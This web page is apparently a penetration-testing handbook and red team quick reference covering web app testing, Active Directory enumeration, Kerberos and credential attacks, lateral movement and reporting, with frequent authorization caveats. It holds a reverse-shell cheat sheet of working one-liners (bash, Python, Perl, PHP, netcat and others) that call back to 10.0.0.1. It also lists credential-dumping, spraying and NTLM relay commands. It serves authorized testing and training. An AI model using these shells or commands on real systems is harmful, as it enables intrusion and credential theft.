Pentesting

This site combines an expanded web application pentesting handbook with a practical red team operator reference for authorized security work. It is designed to be readable during live assessments, useful for labs and internal training, and strong enough to support planning, evidence collection, and reporting.

Authorized use only OWASP-aligned API-first coverage AD and operator workflow Cloud-aware Reporting ready
Please Note
This site has been refined from course notes and quick-reference material. It is intended as a practical knowledge base, not a substitute for vendor documentation, product-specific manuals, or engagement-specific rules of engagement. Tool syntax and flags can change over time, so always validate commands against the installed version before use.

Authorized Use Only

AreaGuidance
TargetsTest only systems you own, dedicated labs, or assets you are explicitly authorized to assess in writing.
Rules of engagementDefine scope, timing, allowed techniques, target ranges, testing accounts, escalation contacts, evidence handling rules, and prohibited actions before work starts.
Impact validationDemonstrate findings with the smallest safe proof. Prefer read-only proof and avoid service disruption, mass credential testing, or unnecessary data access.
Evidence handlingCollect the minimum evidence needed, mask secrets and PII, and log what you tested and when.
Important: This reference is intended for professional security assessment, defensive validation, internal training, and lab use. Unauthorized access, destructive testing, or stealthy activity outside an approved engagement is out of bounds.

How to Use This Guide

During planning

Use the workflow, standards, and checklist sections to structure the engagement and define what evidence you need to collect.

During testing

Use the web app and operator sections as quick-reference material for reconnaissance, validation, and post-access decision making.

During reporting

Use the reporting section to convert raw findings into business-relevant, reproducible, remediation-ready writeups.

Red Team and Internal Pentest Workflow

PhaseGoalTypical Outputs
Scope reviewUnderstand what is allowed and what success looks likeRules of engagement, target list, testing accounts, safety constraints
ReconnaissanceMap the attack surfaceDomains, subdomains, hosts, routes, exposed services, identity clues
Initial accessFind the first valid foothold or weaknessValidated external exposure, app weakness, phish-safe simulation path, or valid access path
Credential harvestingIdentify weak auth paths and credential opportunitiesReset weaknesses, spray-safe findings, exposed creds, token flaws
Privilege escalationTurn low privilege into higher privilegeLocal escalation paths, delegated control abuse, misconfigurations
Lateral movementReach adjacent systems or rolesValidated reachable systems, protocol choices, role transitions
PersistenceAssess durability of access in a controlled wayFindings around account, token, service, task, or key persistence
Data access and exfiltrationDemonstrate business impact safelyRead-only proof, limited sample evidence, impact narrative
ReportingEnable remediation and leadership decisionsExecutive summary, attack narrative, evidence, risk, remediation
Practical note
This sequence matches common enterprise internal testing and aligns well with PTES-style workflow thinking: start with scope discipline, build a defensible attack narrative, and keep technical proof tied to business impact.

Standards and Framework Mapping

ReferenceBest Use
OWASP WSTGPrimary structure for systematic web application testing.
OWASP Top 10Broad risk framing for application findings.
OWASP API Security Top 10Core reference for modern API-centric applications and mobile backends.
ASVSControl-oriented remediation target and verification lens.
MITRE ATT&CKUseful for describing adversary behavior chains, especially in red team and post-access scenarios.
PTESHelpful for communicating overall assessment workflow and discipline.

Recommended Lab Setup

Web practice targets

  • OWASP Juice Shop
  • DVWA
  • WebGoat
  • PortSwigger Web Security Academy labs
  • crAPI

Operator practice targets

  • Windows and Linux VMs with realistic misconfigurations
  • Small Active Directory lab with delegated groups and service accounts
  • Reverse proxy and web app stack for auth, API, and JWT testing
  • Cloud sandbox with non-production IAM and storage paths

Recon Strategy

High-value sequence
  1. Identify root domains, known brands, and common subdomain patterns.
  2. Probe for live hosts, titles, technologies, and TLS posture.
  3. Collect historical URLs and crawl the current application.
  4. Prioritize auth routes, APIs, admin paths, upload features, and third-party integrations.
  5. Map trust boundaries: anonymous, standard user, privileged user, admin, service account, and tenant boundaries.

Subdomains and OSINT

ToolPrimary UseWhy It Matters
AmassSubdomain discovery and graph-style infrastructure enrichmentGreat for broad domain discovery and correlation.
SubfinderFast passive subdomain enumerationGood early-stage triage tool.
theHarvesterEmail and host discoveryUseful for identity clues and potential auth surface; supported sources vary by version and configuration.
MaltegoRelationship mappingHelpful when infrastructure and identities span many assets.
Shodan / CensysInternet-facing service discoveryGood for exposed services, certificates, and historical clues.
amass enum -d example.com
subfinder -d example.com
theHarvester -d example.com -b crtsh
httpx -l domains.txt -status-code -title
Version note. Tool flags and data-source support can change across releases. Validate syntax against the installed version before use.

Network Discovery

Common discovery patterns

nmap -sn 10.10.10.0/24
nmap -p- -T4 target
nmap -sV target
nmap -A target

Use the least noisy approach the engagement allows. Start broad, then focus. nmap -A is comparatively noisy and is not always appropriate as an early first step.

Important ports to recognize quickly

PortService
22SSH
80 / 443HTTP / HTTPS
139 / 445SMB
3389RDP
389 / 636LDAP / LDAPS
5985 / 5986WinRM / WinRM HTTPS

Content Discovery

GoalExampleNotes
Directory and file discoveryffuf -u https://target/FUZZ -w wordlist.txt -mc 200,204,301,302,307,401,403Triage by response code, title, and size.
Response-size filteringffuf -u https://target/FUZZ -w wordlist.txt -fs 4242Useful against soft-404 behavior.
Parameter discoveryffuf -u "https://target/page?FUZZ=test" -w params.txtHelps uncover hidden input points.
Virtual host discoveryffuf -u https://target/ -H "Host: FUZZ.target.example.com" -w subdomains.txtUseful when multiple apps share a single IP or origin.
Recursive discoveryferoxbuster -u https://target.example.com -kGood for deeper path structures and nested routes.

Historical URLs and Deprecated Endpoints

gau target.example.com
waybackurls target.example.com
katana -u https://target.example.com -d 3 -jc
Old password reset routes, debug handlers, testing endpoints, and deprecated API versions often survive long after the front end stops linking to them.

JavaScript Analysis

Look ForWhy It Matters
API endpointsFront-end bundles often reveal undocumented routes and object shapes.
Source mapsMay disclose original source layout and internal identifiers.
Feature flagsCan reveal partially deployed or hidden features.
Debug logicMay expose assumptions, test routes, or auth shortcuts.
Embedded tokens or keysMay reveal client credentials, weak non-production secrets, or trusted origins.
curl -s https://target.example.com/static/app.js | grep -Ei "api|token|secret|auth|key"
python linkfinder.py -i https://target.example.com/app.js

Fingerprinting and Initial Triage

Headers to review

  • Server
  • Set-Cookie
  • Content-Security-Policy
  • Strict-Transport-Security
  • X-Frame-Options
  • Referrer-Policy

What to infer

  • Framework and hosting clues
  • Cookie posture and session style
  • CSP maturity
  • CDN or WAF behavior
  • Where auth and proxy boundaries probably live

TLS and HTTPS Security

CheckExample CommandWhat to Review
Protocol and cipher supporttestssl.sh https://target.example.comDeprecated protocol support, weak ciphers, downgrade posture.
Cipher enumerationnmap --script ssl-enum-ciphers -p 443 target.example.comWeak or legacy suites and negotiation issues.
Certificate and TLS analysissslyze target.example.comExpiry, chain validity, stapling, and config posture.

HTTP Fundamentals

Common curl patterns

curl -i https://target.example.com
curl -I https://target.example.com
curl -L https://target.example.com
curl -H "X-Test: 1" https://target.example.com
curl -b "session=VALUE" https://target.example.com/account

Method and payload testing

curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"name":"test"}' \
  https://target.example.com/api/items

curl -X OPTIONS -i https://target.example.com/api/items
curl -X PUT -i https://target.example.com/api/items/1

Authentication Testing

AreaWhat to TestCommon Failure
LoginError consistency, lockouts, MFA enforcement, throttlingEnumeration or weak brute-force protection.
Password resetToken entropy, expiry, reuse, and account bindingPredictable or long-lived reset paths.
Account recoverySupport or secondary-channel recovery logicIdentity assurance weaker than the primary login.
MFAEnrollment, reset, alternate flows, and direct API usageSecond factor enforced in UI but not server-side.
Session rotationCompare pre-auth and post-auth tokensFixation or weak rotation after elevation.

Session Management

ControlPurposeCheck
SecureRestricts cookie to HTTPSShould be set on session cookies.
HttpOnlyBlocks direct JavaScript accessReduces cookie theft through many XSS paths.
SameSiteLimits cross-site cookie sendingInterpret in the context of CSRF-sensitive flows and legitimate cross-site auth patterns.
InvalidationEnds a session after logout or secret changesOld tokens should stop working quickly.
ReauthenticationProtects sensitive changesProfile, password, MFA, and payment changes often need step-up auth.
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax
This cookie example is illustrative, not universal. Some applications legitimately require SameSite=None; Secure for cross-site flows such as federated sign-in.

Authorization Testing

IssueDescriptionExample
IDOR / BOLAObject-level checks fail when identifiers changeGET /api/orders/1001
Horizontal escalationUser reaches another user's data or actionsGET /account?id=102
Vertical escalationLower-privileged user reaches admin-only functionsGET /admin/users
Forced browsingHidden routes stay directly reachable/internal, /export, /support/admin
Function-level bypassBackend trusts the UI to hide actionsEndpoint executes even when the button is hidden.

Input Validation and Injection Surface

ClassExamplesWhat to Watch
Command injectionPing tools, image processors, backup wrappersShell expansion, unsafe argument building, wrappers around system binaries.
Path traversalDownloads, image retrieval, archive extractionNormalization and canonicalization weaknesses.
Server-side template injectionEmail previews, theming, rendering helpersUser input reaching a server-side template engine.
XXELegacy XML import or SSO parsingEntity expansion and external fetch behavior.
NoSQL / LDAP injectionDirectory-backed auth or searchWeak parser and query construction assumptions.

Cross-Site Scripting (XSS)

TypeDescriptionCommon Locations
ReflectedPayload appears immediately in the server responseSearch, errors, support pages
StoredPayload persists and executes for later viewersComments, tickets, profiles, dashboards
DOM-basedExecution happens client-side through unsafe sinksHash parsing, query parsing, templating logic
Focus on context and sink, not canned payloads. What matters most is exactly where the input lands, how it is encoded, and what the CSP allows.

SQL Injection

TypeSignalNotes
Error-basedParser or DB details appear in the responseOften surfaces in APIs, admin pages, or debug handlers.
Union-basedExtra result sets can be reflectedMost useful when output is rendered directly.
Boolean blindContent changes between true and false conditionsWorks where the page reacts measurably.
Time-based blindServer delay confirms execution pathUse database-specific timing primitives.

Database-specific timing examples

DatabaseRepresentative Delay Function
MySQLSLEEP(5)
PostgreSQLpg_sleep(5)
Microsoft SQL ServerWAITFOR DELAY '0:0:5'
Oracledbms_pipe.receive_message(...) or another environment-appropriate timing primitive

Safer automation follow-up

sqlmap -u "https://target/item?id=1" --batch --risk=2 --level=2
sqlmap -r request.txt --batch
sqlmap -u "https://target/item?id=1" --dbs

Server-Side Request Forgery (SSRF)

TargetWhy It Matters
127.0.0.1 / localhostMay expose loopback-only services.
Internal RFC1918 rangesCan reveal admin panels, internal APIs, and management services.
AWS metadataHistorically reachable via IMDSv1; modern environments may require IMDSv2.
Azure / GCP metadataUse provider-specific headers and paths when reasoning about impact.
Practical impact depends heavily on egress controls, URL parser behavior, redirect handling, DNS resolution, and metadata protections in the target environment.

File Upload Security

WeaknessWhat to TestModern Note
Extension-only validationWhether only the filename extension is checkedParser and storage behavior usually matter more than filename tricks alone.
MIME trustWhether the server trusts client-supplied Content-TypeClient MIME values are not authoritative.
Magic-byte and signature handlingWhether content is actually parsed and validatedImage transforms and archive processing are common weak points.
Storage path and executionWhether files land in web-executable locationsSegregated, non-executable storage is key.
Archive extractionTraversal, overwrite, and nested file handlingCommon in bulk import workflows.

CSRF, CORS, CSP, and Browser-Enforced Controls

CSRF

  • Review anti-CSRF token generation and validation.
  • Check Origin and Referer handling for state-changing requests.
  • Interpret SameSite cookie behavior in the context of the app's flows.

CORS

curl -I -H "Origin: https://evil.example" https://target.example.com/api

Look for origin reflection, unsafe wildcarding, and risky credential behavior. Remember that CORS risk depends on the full header combination; Access-Control-Allow-Origin: * alone does not create credentialed cross-origin access.

CSP

  • Review inline script allowances.
  • Check script-src, object-src, and frame-ancestors.
  • Look for trusted third-party domains that weaken intent.

Rate limiting

  • Test login, reset, OTP, invite, and search routes.
  • Determine whether limits are account-based, IP-based, route-based, or absent.

API Security

Risk AreaWhat It Looks Like
Broken object level authorizationChanging an object ID exposes another record.
Broken function level authorizationUser can invoke privileged routes directly.
Broken authenticationWeak token handling, missing revocation, weak issuance logic.
Excessive data exposureAPI returns fields the client does not actually need.
Mass assignmentSecurity-sensitive fields are accepted from the client.
Resource consumptionExpensive requests create denial-of-service or cost impact.

GraphQL Security

AreaConcern
IntrospectionSchema exposure accelerates discovery.
AuthorizationField-level and object-level checks are often inconsistent.
Excessive data exposureSingle queries may expose fields not intended for the client UI.
Depth and complexityNested requests and batching can create expensive execution paths.
{
  user(id: "1") {
    username
    email
    role
  }
}
Disabling introspection alone does not secure a GraphQL deployment. Resolver authorization, query cost controls, and schema-aware review still matter.

WebSocket Security

ConcernWhat to Validate
Authentication at connect timeCan stale or unauthenticated clients still connect?
Authorization per actionIs every event authorized server-side?
Message tamperingCan role, tenant, or object identifiers be modified?
Subscription boundariesCan one client subscribe to another user's or tenant's stream?

JWT Security

IssuePractical Note
Weak HMAC secretStill one of the most common real-world JWT failures.
Key confusionVerification logic may misuse asymmetric key material.
kid misuseHeader-controlled key selection can create dangerous lookups.
JWKS trust flawsRemote trust and caching logic can create verification weaknesses.
alg=nonePrimarily a legacy issue; modern libraries generally reject it unless misconfigured, but it remains important historically.
python3 - <<'PY'
import base64
payload = "HEADER.PAYLOAD.SIGNATURE".split(".")[1]
payload += "=" * (-len(payload) % 4)
print(base64.urlsafe_b64decode(payload).decode())
PY
jwt_tool token -C
JWT segments use base64url encoding, so a naive base64 -d command may fail unless padding and URL-safe character handling are accounted for.

OAuth and SSO

ConcernDescription
state handlingWeak or missing state can enable login CSRF and flow confusion.
redirect_uri validationLoose validation can send codes or tokens to attacker-controlled locations.
PKCE postureImportant for public clients and now broadly recommended across modern authorization code flows.
Token leakageReview fragments, redirects, browser history, and log exposure.
Open redirectsOften become useful supporting issues in OAuth abuse chains.

Business Logic Testing

PatternExamples
Workflow bypassSkipping approval, payment, or verification steps.
Race conditionsCoupon reuse, duplicate redemption, quota bypass, balance double-spend.
Price or discount abuseManipulating quantity, currency, promotions, or bundled calculations.
Tenant confusionCross-tenant actions through poorly scoped identifiers.

Deserialization Risks

Insecure deserialization remains relevant in enterprise and legacy environments, especially where applications accept serialized objects, state blobs, or framework-specific data containers.

EnvironmentCommon Areas
JavaSerialized objects, session replication, message queues, legacy frameworks.
.NETHistorically common in misconfigured view state handling, custom binary serializers, and internal APIs.
PHPUnsafe unserialize flows and object injection.
Python / NodeUnsafe custom serialization and framework-specific state handling.

HTTP Request Smuggling

ConceptWhy It Matters
Parser disagreementFront-end and back-end components disagree about request boundaries.
ImpactCan lead to response desync, auth confusion, cache poisoning, and request hijacking.
IndicatorsInconsistent handling of Content-Length and Transfer-Encoding, strange queueing, mismatched responses, or translation issues at proxy boundaries.

Web Cache Poisoning and Deception

IssueDescription
Cache poisoningAttacker influences a cached response seen by other users.
Cache deceptionSensitive content is served under a path likely to be cached incorrectly.
Header-driven abuseRewrite or proxy-related headers influence what gets cached.

Prototype Pollution

Prototype pollution is important when user-controlled keys influence deep merges or object assignment. Severity depends on how the polluted state affects auth, rendering, or backend logic.

Key PathsPotential Consequences
__proto__, constructor.prototypeXSS, logic bypass, privilege escalation, or even code execution in some stacks.

HTTP/2 and Modern Transport Risks

AreaNotes
HTTP/2 desync behaviorModern infrastructures can create parser differences invisible in HTTP/1.1-only testing.
Rapid reset and resource abuseProtocol-layer misuse can create resource exhaustion even when app logic is sound.
Proxy translationHTTP/2-to-HTTP/1 boundaries may introduce request handling edge cases.

SMB Enumeration

TaskRepresentative CommandWhy It Matters
List sharessmbclient -L \\targetQuickly identifies exposed share names and access posture.
Check SMB signingnmap --script smb2-security-mode.nse -p445 targetUseful when reasoning about relay exposure and overall hardening.
Enumerate at scalenxc smb target-range -u users.txt -p passwords.txtCan validate reachability, auth posture, and share behavior when explicitly in scope.

LDAP Enumeration

UseRepresentative Command
Basic directory queryldapsearch -x -H ldap://target -b "DC=domain,DC=com"
Extract usernamesldapsearch -x -H ldap://target -b "DC=domain,DC=com" | grep sAMAccountName
Domain dumpldapdomaindump ldaps://target -u 'domain\user' -p password
LDAP is often one of the richest ways to understand an Active Directory environment, especially when it comes to users, groups, and service account patterns.

Web Enumeration

Manual checks

  • robots.txt
  • Source code and comments
  • HTTP headers
  • Error pages and stack clues
  • Anonymous versus authenticated differences

Automated support

nikto -h http://target
gobuster dir -u http://target -w wordlist.txt

Use scanners to support manual testing, not replace it.

NTLM Relay, WPAD, and IPv6 Exposure Awareness

Lab-only topic. Relay-related testing can disrupt authentication and proxy behavior and can expose directory services if misused. Do not test these techniques outside a controlled lab or without explicit written authorization.

In Active Directory environments, weak legacy authentication paths can allow an attacker to coerce or intercept NTLM authentication and attempt to relay it to another service such as LDAP or LDAPS. Common exposure paths have historically involved name-resolution weaknesses, WPAD behavior, and unmanaged IPv6-related configurations.

AreaWhy It Matters
NTLM relayAuthentication material may be forwarded to another service if signing and channel protections are weak or absent.
WPAD abuseAuto-proxy discovery can create opportunities for traffic interception or credential exposure in poorly hardened environments.
IPv6 exposureOrganizations that do not actively use IPv6 may still leave it enabled, creating unexpected attack surface.
LDAP / LDAPS targetingDirectory services can be especially high impact if relay protections are incomplete.

Representative Lab Commands

# Example responder invocation in a controlled lab
sudo responder -I eth0 -dPv

# Example lab sequencing only; exact syntax and behavior vary by tool version
ntlmrelayx.py -6 -t ldaps://<dc ip> -wh <fakewpad.domain.com> -l LOOT
sudo mitm6 -d <domain.com>
Precision matters. Successful relay does not automatically create privileged access or new administrative accounts. Real-world impact depends on the relayed identity, the target service, and whether protections such as LDAP signing, channel binding, and SMB signing are enforced.

Defensive Review Points

  • Require LDAP signing and channel binding where supported.
  • Reduce or disable NTLM where feasible and prioritize Kerberos.
  • Review WPAD usage and disable unnecessary auto-discovery behavior.
  • Harden IPv6 deliberately rather than leaving it unmanaged by default.
  • Monitor for unusual proxy discovery, rogue name resolution behavior, and anomalous authentication flows.
  • Use tiered administration and avoid logging privileged accounts into lower-trust systems.
Assessment guidance
During an authorized review, document whether the environment relies on NTLM, whether LDAP signing is enforced, whether WPAD is in use, and whether IPv6 has been intentionally secured. The most valuable outcome is usually identifying and closing the configuration gap rather than attempting risky live validation in production.

Active Directory Defensive Checks

Control AreaWhat to VerifyWhy It Matters
LDAP signingDomain controllers require LDAP signing and support channel binding.Reduces exposure to relay against directory services.
SMB signingServers and workstations enforce SMB signing where appropriate.Makes classic relay paths harder.
NTLM reductionAudit where NTLM is still required and restrict it over time.Lowers reliance on legacy authentication.
WPADDetermine whether auto-proxy discovery is necessary and whether it is tightly controlled.Reduces proxy-discovery abuse opportunities.
IPv6Confirm whether IPv6 is intentionally deployed and monitored.Prevents unmanaged protocol exposure.
Privileged admin hygieneDo not use highly privileged accounts on lower-trust systems.Limits blast radius if a workstation is compromised.

Defensive Command Cheat Sheet

# Check LDAP signing policy on domain controllers (Windows)
reg query "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LDAPServerIntegrity

# Check NTLM audit / restriction-related policies (Windows)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LmCompatibilityLevel

# Review SMB signing posture (Windows PowerShell)
Get-SmbServerConfiguration | Select EnableSecuritySignature, RequireSecuritySignature
Get-SmbClientConfiguration | Select EnableSecuritySignature, RequireSecuritySignature

# Check whether IPv6 is enabled on Linux
ip -6 addr
sysctl net.ipv6.conf.all.disable_ipv6
sysctl net.ipv6.conf.default.disable_ipv6

# Check whether IPv6 is bound on Windows adapters (PowerShell)
Get-NetAdapterBinding -ComponentID ms_tcpip6

# Review WPAD / proxy auto-discovery settings on Windows
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoDetect
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL

# Quick LDAP over TLS reachability check from Linux
openssl s_client -connect dc01.example.com:636 -brief

# Kerberos-focused discovery reminder
klist
setspn -Q */*
Safer validation approach. In production, prioritize configuration review, policy confirmation, logging checks, and non-disruptive verification over live relay attempts.

Credential Attacks

PatternRepresentative CommandNotes
Password sprayingnxc smb 10.10.10.0/24 -u users.txt -p 'Password123'Only within explicit ROE; rate limits and lockout policy matter.
Pass-the-hashnxc smb 10.10.10.0/24 -u administrator -H <NTLM_HASH>Relevant after legitimate hash exposure in a controlled test.
Offline crackinghashcat -m 1000 hashes.txt rockyou.txtUse for authorized validation and password quality assessment.

Kerberos Attack Paths

TechniqueRepresentative CommandWhat It Tests
Kerberoastingimpacket-GetUserSPNs domain/user:password -dc-ip dc.example.local -requestService account password strength and SPN exposure.
AS-REP roastingimpacket-GetNPUsers domain/ -usersfile users.txt -no-passAccounts without preauthentication requirements.
Golden ticket concept validationmimikatz kerberos::goldenIllustrates domain-level persistence risk after severe compromise, typically only after access to highly sensitive Kerberos material.

Windows Privilege Escalation

AreaWhat to Look For
Service configurationUnquoted service paths, weak service permissions, replaceable binaries.
Token privilegesDangerous privileges that can be leveraged by the current user context.
DLL search order issuesApplications loading libraries from writable or unsafe locations.
Installer policyAlwaysInstallElevated and other weak system-wide policy decisions.

Linux Privilege Escalation

AreaRepresentative Check
SUID binariesfind / -perm -4000 -type f 2>/dev/null
Sudo rightssudo -l
Cron and timersWritable jobs, insecure scripts, unsafe service execution paths.
Environment abusePATH manipulation, writable directories, and weak capability assignments.

Lateral Movement

TechniqueRepresentative Command
PSExec-style movementimpacket-psexec domain/user:password@target
WMI-based movementimpacket-wmiexec domain/user:password@target
WinRMevil-winrm -u user -p password -i target
SMBExec patternimpacket-smbexec domain/user:password@target
Choose the least disruptive protocol path that still validates the finding. Transport choice matters for noise, logging, and business safety.

Credential Dumping

GoalRepresentative Command
Dump local or remote secretsimpacket-secretsdump domain/user:password@target
Focus on domain controller NTLM materialimpacket-secretsdump domain/user:password@dc-ip -just-dc-ntlm
Because this activity can be highly sensitive, only use it when explicitly authorized and only to the minimum degree needed to prove impact.

Pivoting

TaskRepresentative CommandUse
Create a SOCKS proxyssh -f -N -D 9050 user@pivotLets tools reach internal paths through an intermediate host.
Use the proxyproxychains nmap -sT targetValidates internal reachability, but remember not all scan types behave well through SOCKS proxies.

Persistence

PlatformCommon Patterns
WindowsNew admin accounts, scheduled tasks, services, registry run keys, ticket abuse.
LinuxSSH keys, cron jobs, systemd services, shell initialization files.
IdentityLong-lived tokens, certificates, delegated roles, or hidden trust relationships.
In assessments, persistence is usually best documented as a risk path and validated in the safest possible way, rather than fully weaponized.

Reverse Shell Reference

Bash

Reliable on most modern Linux systems (Tested on Ubuntu).

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Python

Standard one-liner for Python 2.7+ environments.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

Feature-free short version.

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

Assumes TCP connection uses file descriptor 3.

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat (Traditional)

Requires netcat versions compiled with -e support.

nc -e /bin/sh 10.0.0.1 1234

Netcat (OpenBSD / FIFO)

Used when -e is unavailable.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm Reverse Session

Run on the target server to connect back to your X-Server on port 6001:

xterm -display 10.0.0.1:1

On your host, start Xnest and authorize the target:

Xnest :1
xhost +targetip

Cloud and Container Security Surface

PlatformWhat to Review
AWSIAM users and roles, bucket posture, bucket policy exposure, metadata handling, signed URL misuse.
AzureManaged identity assumptions, app service settings, storage access, metadata patterns.
GCPService account scope, metadata headers, storage and function exposure.
DockerExposed sockets, unsafe mounts, container-to-host assumptions.
KubernetesDashboard exposure, RBAC posture, service account token handling, node metadata reachability.
aws iam list-users
aws iam list-roles
aws s3 ls
aws s3api get-bucket-policy --bucket example-bucket
These commands assume an authorized review using valid cloud credentials or an approved cloud assessment context.

Modern Operator Toolset

Identity & AD

BloodHound: Visualizes AD privilege paths using graph theory to find takeover routes.

NetExec (NXC): The industry-standard successor to CrackMapExec for large-scale enumeration.

C2 & Shells

Sliver: A robust, cross-platform open-source C2 framework for modern operations.

Responder: Captures NTLM hashes via LLMNR/NBT-NS and MDNS poisoning.

Analysis & Scanners

Nuclei: High-speed, template-based scanning for CVEs and misconfigurations.

Wireshark: Crucial for deep packet inspection and analyzing custom protocol traffic.

Red Team Infrastructure

Typical components

  • VPS or cloud instances
  • Redirectors and reverse proxies
  • C2 server
  • Payload or file hosting where explicitly approved
  • Encrypted channels and controlled logging

Design principles

  • Separate externally exposed redirectors from management systems.
  • Use least privilege and short-lived infrastructure where possible.
  • Document domains, IPs, TLS posture, and teardown plans.
  • Rotate and clean up infrastructure after the engagement.

Operational Security

PracticeReason
Limit scanning noiseReduces business risk and keeps testing disciplined.
Rotate infrastructureImproves hygiene and reduces residual exposure.
Avoid unnecessary disk writesReduces operational footprint and artifact sprawl.
Prefer encrypted channelsProtects evidence and management traffic.
Log your own actions carefullyEssential for reporting, troubleshooting, and explaining impact.

Reporting Structure

SectionWhat Good Looks Like
Executive summaryBusiness-relevant summary of what matters, not a tool dump.
Attack narrativeClear story from initial weakness to impact.
EvidenceMinimal but sufficient request/response pairs, sanitized screenshots, timestamps, affected assets.
Risk ratingsConsistent severity plus explanation of business impact.
Remediation guidanceActionable, control-oriented fixes with enough engineering detail to act.
Strong finding summary
A standard user was able to retrieve another user's invoice details by modifying an object identifier in a JSON API path. The issue affected multiple accounts, required no elevated privileges, and exposed customer billing data because the server trusted client-supplied object references without validating ownership.

Burp-Centered Workflow

Core components

ComponentUse
ProxyCapture and inspect application traffic.
RepeaterModify and replay requests precisely.
IntruderTest identifiers, parameters, and workflow variations.
DecoderUnpack and manipulate encoding layers.

Helpful extensions

ExtensionUse
AutorizeAuthorization differential testing.
InQLGraphQL discovery and testing.
JWT EditorJWT inspection and modification.
Logger++Organized logging during larger assessments.

Extension names and availability can change over time, so treat these as representative examples.

Operator Checklists

Pre-engagement

  • Written authorization received
  • Scope, contacts, windows, and stop conditions documented
  • Test accounts validated
  • Evidence handling and reporting expectations agreed

Web app testing

  • Anonymous and authenticated baselines recorded
  • Auth, session, and role boundaries mapped
  • APIs and object identifiers enumerated
  • High-value functions validated for authz and business logic

Post-access

  • Privilege boundaries documented
  • Safe proof of impact captured
  • Noise and business safety reviewed before moving laterally
  • Persistence paths documented, not overused

Reporting

  • Every finding tied to an affected asset and role
  • Evidence sanitized
  • Remediation written for engineers and leadership
  • Risk reflects real business impact

Command Cheat Sheet

TaskCommand
Passive subdomain discoverysubfinder -d example.com
Expanded domain discoveryamass enum -d example.com
Probe live hostshttpx -l domains.txt -status-code -title
Historical URLsgau target.example.com
Archive URLswaybackurls target.example.com
Crawl current appkatana -u https://target.example.com -d 3
Directory fuzzingffuf -u https://target/FUZZ -w wordlist.txt -mc 200,204,301,302,307,401,403
Web scan supportnikto -h http://target
Live host discoverynmap -sn 10.10.10.0/24
Service detectionnmap -sV target
List SMB sharessmbclient -L \\target
LDAP queryldapsearch -x -H ldap://target -b "DC=domain,DC=com"
Password quality validationhashcat -m 1000 hashes.txt rockyou.txt
Kerberoasting checkimpacket-GetUserSPNs domain/user:password -dc-ip dc.example.local -request
Linux SUID reviewfind / -perm -4000 -type f 2>/dev/null
WinRM movementevil-winrm -u user -p password -i target
SOCKS pivotssh -f -N -D 9050 user@pivot
AWS quick inventoryaws iam list-users && aws iam list-roles && aws s3 ls